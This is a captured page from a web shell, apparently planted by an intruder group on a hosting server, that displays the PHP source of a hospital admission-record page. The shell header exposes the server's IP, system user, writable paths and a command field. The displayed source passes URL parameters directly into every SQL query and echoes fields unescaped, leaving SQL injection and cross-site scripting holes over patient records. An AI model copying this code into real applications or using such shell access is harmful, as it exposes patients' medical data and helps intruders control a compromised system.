Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.131.47
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//showpage_Request_for_Consultation.php
    <?php
     session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');

    include("../dbconnection.php");
		$sql2 ="SELECT * FROM save_activity WHERE srno='$_GET[srno]'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    
		   	include 'dashboarddocument.php';
}
?>
	  

  <?php

include 'fileheader.php';
?>


<?php
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['typevisit'];
if($usertype == 'OPD'){
    echo " <h3 align='center'>Request for Consultation </h3> <input type='hidden' value='Initial Assessment' name='pagetype'></h3>";
} else{
    echo " <h3 align='center'>Request for Admission </h3><input type='hidden' value='Request for Admission' name='pagetype'></h3>";
}
}
?>
<table id='example2' class='table table-bordered table-hover'>


<?php
include("dbconnection.php");
	$sqlpatient = "SELECT * FROM save_activity WHERE  prescriptionid='$_GET[prescriptionid]' AND discription='Intial Assessment<br>Request for Consultation<br>Doc.no-'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	    if($rsp[discription]== 'Intial Assessment<br>Request for Consultation<br>Doc.no-'){
	        echo"<h4 align='right'>Doc.no : $rsp[srno]</h4>";

} else{
    echo "";
}
       
	}
?> 


<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND typevisit='IPD' OR prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND typevisit='Ipd_Emergency' ";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
{
?> 

<?php
      include("dbconnection.php");
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		 $sql21 ="SELECT * FROM ward WHERE wardid='$rs[Ward]'";
$qsql21 = mysqli_query($con,$sql21);
if($rs11 = mysqli_fetch_array($qsql21))
{
    	 $sql22 ="SELECT * FROM bedindex WHERE bedid='$rs[Bed]'";
$qsql22 = mysqli_query($con,$sql22);
while($rs12 = mysqli_fetch_array($qsql22))
{
   echo " 
                                         <tr>
                                         <td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;Ward & Bed</td>
                                         <td width='50%'>$rs11[ward_type] - $rs11[ward_name] - <b>Bed no:</b> $rs12[bedname]</td></tr>
                            
      ";
}
		}
		}
		?>







<?php
}
}
?>


<tr><td width='50%'>
 &nbsp;  &nbsp; &nbsp; &nbsp;Admitted Under</td>
    <?php
    $sqlpatient1= "SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]'";
			$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
			while($rr1=mysqli_fetch_array($qsqlpatient1))
			{
			    $sqldoctor= "SELECT * FROM site_users WHERE userno='$rr1[Admitted_Under]'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
			    
			    echo"<td width='50%'>
$rsdoctor[name]</td>
";
}
}
?></tr>
 <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
</style>
 
    <!-- Content Header (Page header) -->
    

<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "


<section class='content-header'><h3 align='right'><a href='edit_showpage_Request_for_Consultation.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'><i class='fa fa-pencil-square-o' aria-hidden='true' style='font-size:20px;'></i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3></section>

     <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Type of Admission: </td>
<td width='50%'>$rs[Type_of_Admission]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Reason for Admission :  </td>
<td width='50%'>$rs[Reason_for_Admission]</td>
</tr>
</table>
";
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[MLC])
{
?>  
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>MLC Checklist</h3>
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC No: </td>
<td width='50%'>$rs[MLC_No]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC Slip : </td>
<td width='50%'>$rs[Upload_MLC_Slip]</td>
</tr>
</table>
";
}
?>
	  <?php
}
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[Trauma])
{
?>  
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>Trauma Care Checklist</h3>
<BR><BR>
<h5 align='center'>Immediately after primary & secondary surveys</h5> 
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'> 
Is Further Airway Intervention Needed? :  </td>
<td width='50%'>$rs[further] </td>
</tr>
<tr>
<td width='50%'>Is There A Tension Pneumo-Haemothorax ? :  </td>
<td width='50%'>$rs[Pneumo_Haemothorax] </td>
</tr>
<tr>
<td width='50%'>IS The Pulse and Fluids Started ? : </td>
<td width='50%'>$rs[Fluids_Started]  </td>
</tr>
<tr>
<td width='50%'>Large-bore IV placed and fluids started : </td>
<td width='50%'>$rs[iv_fluids_started] </td>
</tr>
<tr>
<td width='50%'>Full Survey For (and control of)External bleeding, Including: </td>
<td width='50%'>$rs[Full_Survey]&nbsp; ,$rs[Perineum]&nbsp; ,$rs[Back] </td>
</tr>
<tr>
<td width='50%'>Assessed For Pelvic Fracture by : </td>
<td width='50%'>$rs[Pelvic_Fracture] </td>
</tr>
<tr>
<td width='50%'>Assessed For Internal Bleeding By: </td>
<td width='50%'>$rs[Internal_Bleeding] </td>
</tr>
<tr>
<td width='50%'>Is Spinal Immobilization Needed? : </td>
<td width='50%'>$rs[Spinal_Immobilization] </td>
</tr>
<tr>
<td width='50%'>Neurovascular Status of all 4 limbs Checked? : </td>
<td width='50%'>$rs[Neurovascular_Status] </td>
</tr>
<tr>
<td width='50%'>IS the patient Hypothermic? :</td>
<td width='50%'>$rs[Hypothermic]  </td>
</tr>
<tr>
<td width='50%'>Does the Patient Need(if no contraindication) :</td>
<td width='50%'>$rs[contraindication],&nbsp;$rs[Nasogastric_Tube],&nbsp;$rs[Chest_Drain],&nbsp;$rs[None_Indicated],&nbsp;</td>
</tr>
<tr>
<td width='50%'>Has the Patient been Given :</td>
<td width='50%'>$rs[leaves_patient],&nbsp;$rs[Analgesics],&nbsp;$rs[Antibiotics],&nbsp;$rs[None_Indicated],&nbsp;</td>
</tr>
<tr>
<td width='50%'>Have All tests and imaging been Reviewed :</td>
<td width='50%'>$rs[tests_imaging]  </td>
</tr>
<tr>
<td width='50%'>Which serial Examinations Are Needed:</td>
<td width='50%'>$rs[Examinations]  </td>
</tr>
<tr>
<td width='50%'>Plan of care discussed with :</td>
<td width='50%'>$rs[care_discussed],&nbsp;$rs[Receiving_Unit],&nbsp; $rs[Primary_team],&nbsp; $rs[Other_Specialists],&nbsp;   </td>
</tr>
<tr>
<td width='50%'>Relevant Trauma Chart or Form Comleted? :</td>
<td width='50%'>$rs[Trauma_Chart]  </td>
</tr>
<tr>
<td width='50%'>Trauma Slip :</td>
<td width='50%'> <a href='http://easenup.healthcare/hco/uploads/$rs[Trauma_Slip]'>uploads/$rs[Trauma_Slip]</a>  </td>
</tr>
</table>
</fieldset>


 ";
	  echo "</td></tr>";	}
		?>
	
		 	  <?php
}
}
?>


<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[Code_Blue])
{
?>  

<h3 align='center'>Code Blue Checklist</h3>
<table id='example2' class='table table-bordered table-hover'>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if($rs[Establishes_unresponsiveness] == 'on'){
    echo " <tr><td width='50%'>Establishes unresponsiveness (shake shoulders/call names) (1*Responder) (Licensed nurse leads code Until code blue team arrives): </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Establishes unresponsiveness (shake shoulders/call names) (1*Responder) (Licensed nurse leads code Until code blue team arrives): </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Drills_code] == 'on'){
    echo " <tr><td width='50%'>Drills code (shouts for help & stays with pt.): </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Drills code (shouts for help & stays with pt.): </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Lower_Bed] == 'on'){
    echo " <tr><td width='50%'>Lower Bed removes pillows : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Lower Bed removes pillows :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Universal_Precautions] == 'on'){
    echo " <tr><td width='50%'>Exercise *Universal Precautions </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Exercise *Universal Precautions :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[initiate_compressions] == 'on'){
    echo " <tr><td width='50%'>Evaluation : initiate compressions (at rate of 30:2 Rescue Breaths) :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Evaluation : initiate compressions (at rate of 30:2 Rescue Breaths) :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Airway_Assess] == 'on'){
    echo " <tr><td width='50%'>Airway/Assess (if no response ventilates x2 Ambu bag):</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Airway/Assess (if no response ventilates x2 Ambu bag):  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Carotid_femoral] == 'on'){
    echo " <tr><td width='50%'>Carotid/femoral pulse 5-10 sec:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Carotid/femoral pulse 5-10 sec:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Breathing_Bag] == 'on'){
    echo " <tr><td width='50%'>Breathing – AMBU Bag / Mask placed in correct Position seal maintained, attached to 02@10-12 …. Provides 2 breaths per 30 compressions:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Breathing – AMBU Bag / Mask placed in correct Position seal maintained, attached to 02@10-12 …. Provides 2 breaths per 30 compressions:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Airway_placement] == 'on'){
    echo " <tr><td width='50%'>Airway placement (Stabilizes indication &method for use ):</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Airway placement (Stabilizes indication &method for use ):  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Crash_cart] == 'on'){
    echo " <tr><td width='50%'>Crash cart arrives :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Crash cart arrives :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Sick_board] == 'on'){
    echo " <tr><td width='50%'>Sick board placed :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Sick board placed :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Applies_multifunction] == 'on'){
    echo " <tr><td width='50%'>Applies multifunction electrode pads in correct Position (cleans skin / removes hair as needed) Connects multifunctional pads to therapy cable, Activates AED mode (orange area ) and follows AED :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Applies multifunction electrode pads in correct Position (cleans skin / removes hair as needed) Connects multifunctional pads to therapy cable, Activates AED mode (orange area ) and follows AED :  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Monitor_PROMPTS] == 'on'){
    echo " <tr><td width='50%'>Monitor PROMPTS:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Monitor PROMPTS:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Proceed_defibrillation] == 'on'){
    echo " <tr><td width='50%'>Proceed with defibrillation if indicated by AED (If No shock advised and no sins of circulation begin person CPR):</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Proceed with defibrillation if indicated by AED (If No shock advised and no sins of circulation begin person CPR):  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Interprets_rhythm] == 'on'){
    echo " <tr><td width='50%'>Interprets rhythm, assists med administration & procedure:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Interprets rhythm, assists med administration & procedure:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[suction_equipment] == 'on'){
    echo " <tr><td width='50%'>Set Up suction equipment:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Set Up suction equipment:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[intubation_tray] == 'on'){
    echo " <tr><td width='50%'>Set up intubation tray:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Set up intubation tray:  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Establishes_Access] == 'on'){
    echo " <tr><td width='50%'>Establishes IV Access and setup IV solution (s):</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Establishes IV Access and setup IV solution (s):  </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Contain_patient] == 'on'){
    echo " <tr><td width='50%'>Contain patient’s charts or delegates task:</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Contain patient’s charts or delegates task : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[med_tray] == 'on'){
    echo " <tr><td width='50%'>Setup med tray & assists with medication administration :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Setup med tray & assists with medication administration : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Verbalizes_Method] == 'on'){
    echo " <tr><td width='50%'>(Verbalizes Method to print information strip from lips Monitoring) :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>(Verbalizes Method to print information strip from lips Monitoring) : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Communicates_Family] == 'on'){
    echo " <tr><td width='50%'>Communicates with Family :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Communicates with Family : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[Complete_CodeBlue] == 'on'){
    echo " <tr><td width='50%'>Complete Code Blue Record :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Complete Code Blue Record : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}

if($rs[Secure_codestatement] == 'on'){
    echo " <tr><td width='50%'>Secure code statement :</td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Secure code statement : </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
}
?>
  </table>
  <?php
}
}
?>

<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if($rt[cov]==on)
{
?>  

<h3 align='center'>Covid 19 Checklist</h3>
<table id='example2' class='table table-bordered table-hover'>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if($rs[symptoms_fever] == 'on'){
    echo " <tr><td width='50%'>Do you have symptoms such as fever, cough, sneezing, sore throat, fatigue, sense of smell, changes in taste, and body aches?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Do you have symptoms such as fever, cough, sneezing, sore throat, fatigue, sense of smell, changes in taste, and body aches?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[difficulty_breathing] == 'on'){
    echo " <tr><td width='50%'>Do you have difficulty of breathing?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Do you have difficulty of breathing?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[country_days] == 'on'){
    echo " <tr><td width='50%'>Have you travelled outside the country in the last 30 days?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Have you travelled outside the country in the last 30 days?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[other_cities] == 'on'){
    echo " <tr><td width='50%'>Have you traveled to other cities in India in 15 days?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Have you traveled to other cities in India in 15 days?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[two_weeks] == 'on'){
    echo " <tr><td width='50%'>Were you a Covid-19 positive patient in the last two weeks? or suspect in a case of covid-19 ?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Were you a Covid-19 positive patient in the last two weeks? or suspect in a case of covid-19 ?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
if($rs[health_facility] == 'on'){
    echo " <tr><td width='50%'>Have you visited a health care facility in the past two weeks?: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "<tr><td width='50%'>Have you visited a health care facility in the past two weeks?: </td>
<td width='50%'><i class='fa fa-times' aria-hidden='true'></i></td></tr>";
}
}
?>
</table>
<?php
}
}
?>

<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Safe_childbirth_checklist])
{
?>

<h5 align='center'>Safe Childbirth Checklist </h5>
<table id='example2' class='table table-bordered table-hover'>
    	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				    echo "
				    <tr>
<td width='50%'>Does mother need referral  :</td>
<td width='50%'>$rs[mother_need_referral]  </td>
</tr>
<tr>
<td width='50%'>Partograph started? :</td>
<td width='50%'>$rs[Partograph_started]  </td>
</tr>
 <tr>
<td width='50%'>Does mother need to start: Antibiotics? :</td>
<td width='50%'>$rs[start_Antibiotics]  </td>
</tr>
 <tr>
<td width='50%'>Magnesium sulfate and antihypertensive treatment? :</td>
<td width='50%'>$rs[antihypertensive_treatment]  </td>
</tr>
 <tr>
<td width='50%'>Confirm supplies are available to clean hands and wear gloves for each vaginal exam :</td>
<td width='50%'>$rs[vaginal_exam]  </td>
</tr>
 <tr>
<td width='50%'>Encourage birth companion to be present at birth :</td>
<td width='50%'>$rs[present_at_birth]  </td>
</tr>
 <tr>
<td width='50%'>Confirm that mother or companion will call for help during labour if needed :</td>
<td width='50%'>$rs[labour_needed]  </td>
</tr>

				    ";
				}
				?>
    </table>
   
    <?php
}
}
?>



<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <table id='example2' class='table table-bordered table-hover'>

";
echo"<tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Referral By: </td><td width='50%'>$rs[referred_by]</td>
</tr>";
if($rs[ID_Band_tied] == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Patient Identification Band tied: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
if($rs[Rights_Responsibilities] == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Patient Rights & Responsibilities explained: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
if($rs[surroundings_safety] == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Patient Made aware of surroundings and safety measures: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}

}
?>

				</table>





<?php
include("dbconnection.php");
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql1 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs1 = mysqli_fetch_array($qsql1))
		{
		    
		 echo"<h5><b> Created & Updated </b><h5>
		 <table id='example2' class='table table-bordered table-hover'>
		 <tr><td width=50%><b>By :</b>$rs1[name] </b><td width='50%'><b>At :</b> $rs[updated_at] </tr>";   
		    
		}
		}
		?>
		</table>
</div>

Anon7 - 2022
AnonSec Team